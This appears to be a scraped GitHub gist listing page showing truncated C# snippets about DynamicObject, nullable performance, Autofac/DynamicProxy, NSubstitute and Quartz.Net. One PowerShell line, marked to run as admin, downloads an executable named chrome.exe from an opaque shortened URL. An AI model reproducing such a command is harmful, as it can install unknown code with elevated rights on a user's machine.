Skip to content

Instantly share code, notes, and snippets.

public class ExtensibleDynamicObject : DynamicObject
{
private readonly Dictionary<string, object> data;
public ExtensibleDynamicObject()
{
data = new Dictionary<string, object>();
}
public override bool TrySetMember(SetMemberBinder binder, object value)
[DataContract]
public class Order: ExtensibleDynamicObject
{
[DataMember]
public string CustomerCategory { get; set; }
[DataMember]
public int TableNumber { get; set; }
[DataMember]
public string Server { get; set; }
[DataMember]
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.Serialization;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApplication1
{
@pawelpabich
pawelpabich / gist:7301628
Last active December 27, 2015 09:09
Long - 0.4s NullableLong - 4s Why? Have a look at Joe Albahari's presentation, around 1:02h mark. http://www.youtube.com/watch?v=aZCzG2I8Hds
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApplication1
{
class Program
@pawelpabich
pawelpabich / Error
Last active December 27, 2015 18:39
It looks like Dynamic Proxy struggles with optional nullable value types
using System;
using Autofac;
using Autofac.Extras.DynamicProxy2;
using Castle.DynamicProxy;
namespace DynamicProxy
{
//1. Install-Package Autofac
//2. Install-Package Autofac.Extras.DynamicProxy2
//3. F5
builder.RegisterAssemblyTypes(thisAssembly)
.Where(type => type.Implements<IToResolve>())
.AsImplementedInterfaces()
.InstancePerLifetimeScope()
// What is the name of MyCustomRegistrationCallback in AutoFac lingo?
// Does it even exist?
.MyCustomRegistrationCallback(data =>
{
if (data.Type == typeof (ThisOneType))
{
@pawelpabich
pawelpabich / gist:7762655
Created December 3, 2013 01:59
Custom NSubstitute collection matcher based on the content of the collection. There must be a better way?
private static IEnumerable<int> MatchSingleItemInCollection(int value)
{
return Arg.Is<IEnumerable<int>>(coll => coll.Single() == value);
}
@pawelpabich
pawelpabich / 1.TestCase
Created January 7, 2014 23:12
Quartz.Net sample that should output text to console every 6 seconds but it does not.
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using Quartz;
using Quartz.Impl;
using Quartz.Impl.Triggers;
namespace ConsoleApplication5
{
class Program
#Run as admin and make sure C:\temp exists and is accessible
(new-object System.Net.WebClient).DownloadFile('http://tinyurl.com/hhqarue', 'c:/temp/chrome.exe');
using System;
namespace ConsoleApplication3
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine(new Test().GetExtension());
Console.ReadLine();